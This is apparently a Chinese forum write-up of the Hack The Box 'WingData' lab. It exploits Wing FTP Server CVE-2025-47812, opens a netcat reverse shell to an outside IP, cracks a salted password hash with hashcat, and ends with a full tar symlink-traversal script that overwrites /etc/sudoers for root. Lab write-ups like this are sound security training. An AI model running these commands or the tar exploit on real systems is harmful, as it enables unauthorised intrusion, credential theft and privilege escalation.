找回密码
 立即注册
首页 业界区 业界 【渗透测试】HTB靶场之WingData 全过程wp

【渗透测试】HTB靶场之WingData 全过程wp

迁岂罚 昨天 21:45
WingData

信息收集

1.png

2.png

得到一个ftp.wingdata.htb,也将这个加上
3.png

Wing FTP Server v7.4.3
通过搜寻cve是 CVE-2025-47812
漏洞利用(CVE-2025-47812)

4m3rr0r/CVE-2025-47812-poc: Wing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)
  1. python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "whoami" -v
复制代码
4.png

然后反弹shell
  1. python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "nc 10.10.16.5 8888 -e /bin/sh" -v
  2. python3 -c 'import pty;pty.spawn("/bin/bash")'
复制代码
5.png

然后在/opt/wftpserver/Data/1/users下的wacky.xml获得用户加密凭据
6.png
  1. 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
复制代码
爆破hash(WingFTP 使用SHA256算法,并使用盐值“WingFTP”为加密方式)
  1. hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
复制代码
7.png

得到密码!#7Blushing^*Bride5
wacky/c
然后ssh连接
8.png

得到user.txt
权限提升

先sudo -l看一下
9.png

可以看到有一个py脚本
我们去看一下
  1. cat /opt/backup_clients/restore_backup_clients.py
复制代码
  1. #!/usr/bin/env python3
  2. import tarfile
  3. import os
  4. import sys
  5. import re
  6. import argparse
  7. BACKUP_BASE_DIR = "/opt/backup_clients/backups"
  8. STAGING_BASE = "/opt/backup_clients/restored_backups"
  9. def validate_backup_name(filename):
  10.     if not re.fullmatch(r"^backup_\d+\.tar$", filename):
  11.         return False
  12.     client_id = filename.split('_')[1].rstrip('.tar')
  13.     return client_id.isdigit() and client_id != "0"
  14. def validate_restore_tag(tag):
  15.     return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))
  16. def main():
  17.     parser = argparse.ArgumentParser(
  18.         description="Restore client configuration from a validated backup tarball.",
  19.         epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
  20.     )
  21.     parser.add_argument(
  22.         "-b", "--backup",
  23.         required=True,
  24.         help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
  25.              "where <client_id> is a positive integer, e.g., backup_1001.tar)"
  26.     )
  27.     parser.add_argument(
  28.         "-r", "--restore-dir",
  29.         required=True,
  30.         help="Staging directory name for the restore operation. "
  31.              "Must follow the format: restore_<client_user> (e.g., restore_john). "
  32.              "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
  33.     )
  34.     args = parser.parse_args()
  35.     if not validate_backup_name(args.backup):
  36.         print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
  37.         sys.exit(1)
  38.     backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
  39.     if not os.path.isfile(backup_path):
  40.         print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
  41.         sys.exit(1)
  42.     if not args.restore_dir.startswith("restore_"):
  43.         print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
  44.         sys.exit(1)
  45.     tag = args.restore_dir[8:]
  46.     if not tag:
  47.         print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
  48.         sys.exit(1)
  49.     if not validate_restore_tag(tag):
  50.         print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
  51.         sys.exit(1)
  52.     staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
  53.     print(f"[+] Backup: {args.backup}")
  54.     print(f"[+] Staging directory: {staging_dir}")
  55.     os.makedirs(staging_dir, exist_ok=True)
  56.     try:
  57.         with tarfile.open(backup_path, "r") as tar:
  58.             tar.extractall(path=staging_dir, filter="data")
  59.         print(f"[+] Extraction completed in {staging_dir}")
  60.     except (tarfile.TarError, OSError, Exception) as e:
  61.         print(f"[!] Error during extraction: {e}", file=sys.stderr)
  62.         sys.exit(2)
  63. if __name__ == "__main__":
  64.     main()
复制代码
我们利用这个脚本生成tar文件
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. """
  4. 生成恶意tar文件的漏洞利用脚本
  5. 作用:构造包含多层目录、符号链接的tar文件,尝试突破路径限制写入/etc/sudoers
  6. """
  7. import tarfile
  8. import os
  9. import io
  10. import sys
  11. def create_malicious_tar(output_path="/tmp/backup_9999.tar"):
  12.     """
  13.     创建恶意tar文件,包含路径遍历和符号链接的构造
  14.    
  15.     Args:
  16.         output_path: 生成的tar文件保存路径,默认/tmp/backup_9999.tar
  17.     """
  18.     # 构造长目录名(247个d),用于突破路径长度限制
  19.     long_dir_name = 'd' * 247
  20.     # 用于构造多层目录的字符序列
  21.     step_chars = "abcdefghijklmnop"
  22.     current_path = ""
  23.     try:
  24.         # 以写模式打开tar文件
  25.         with tarfile.open(output_path, mode="w") as tar:
  26.             # 循环构造多层目录和符号链接
  27.             for char in step_chars:
  28.                 # 1. 创建长目录名的目录项
  29.                 dir_info = tarfile.TarInfo(os.path.join(current_path, long_dir_name))
  30.                 dir_info.type = tarfile.DIRTYPE  # 标记为目录类型
  31.                 tar.addfile(dir_info)
  32.                 # 2. 创建指向该长目录的符号链接
  33.                 symlink_info = tarfile.TarInfo(os.path.join(current_path, char))
  34.                 symlink_info.type = tarfile.SYMTYPE  # 标记为符号链接类型
  35.                 symlink_info.linkname = long_dir_name  # 链接指向长目录
  36.                 tar.addfile(symlink_info)
  37.                 # 更新当前路径,进入下一层
  38.                 current_path = os.path.join(current_path, long_dir_name)
  39.             # 3. 构造多层符号链接路径,用于路径遍历
  40.             link_path = os.path.join("/".join(step_chars), "l"*254)
  41.             link_info = tarfile.TarInfo(link_path)
  42.             link_info.type = tarfile.SYMTYPE
  43.             link_info.linkname = "../" * len(step_chars)  # 构造回退路径
  44.             tar.addfile(link_info)
  45.             # 4. 创建指向/etc目录的符号链接(escape)
  46.             escape_info = tarfile.TarInfo("escape")
  47.             escape_info.type = tarfile.SYMTYPE
  48.             escape_info.linkname = f"{link_path}/../../../../../../../etc"
  49.             tar.addfile(escape_info)
  50.             # 5. 创建指向/etc/sudoers的硬链接(sudoers_link)
  51.             sudoers_link_info = tarfile.TarInfo("sudoers_link")
  52.             sudoers_link_info.type = tarfile.LNKTYPE
  53.             sudoers_link_info.linkname = "escape/sudoers"
  54.             tar.addfile(sudoers_link_info)
  55.             # 6. 写入恶意内容到sudoers_link(覆盖/etc/sudoers)
  56.             malicious_content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"
  57.             file_info = tarfile.TarInfo("sudoers_link")
  58.             file_info.type = tarfile.REGTYPE  # 标记为普通文件类型
  59.             file_info.size = len(malicious_content)  # 指定文件大小
  60.             # 将内容写入tar文件
  61.             tar.addfile(file_info, fileobj=io.BytesIO(malicious_content))
  62.         print(f"[+] 恶意tar文件已生成:{output_path}")
  63.     except Exception as e:
  64.         print(f"[!] 生成tar文件失败:{str(e)}", file=sys.stderr)
  65.         sys.exit(1)
  66. if __name__ == "__main__":
  67.     # 支持自定义输出路径(可选参数)
  68.     if len(sys.argv) > 1:
  69.         output_tar = sys.argv[1]
  70.     else:
  71.         output_tar = "/tmp/backup_9999.tar"
  72.    
  73.     create_malicious_tar(output_tar)
复制代码
10.png

复制这个恶意的tar文件到sudo权限的目录下
  1. cp backup_9999.tar /opt/backup_clients/backups/
复制代码
然后运行这个sudo脚本
  1. sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evil
复制代码
11.png

这时候再去sudo
12.png


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册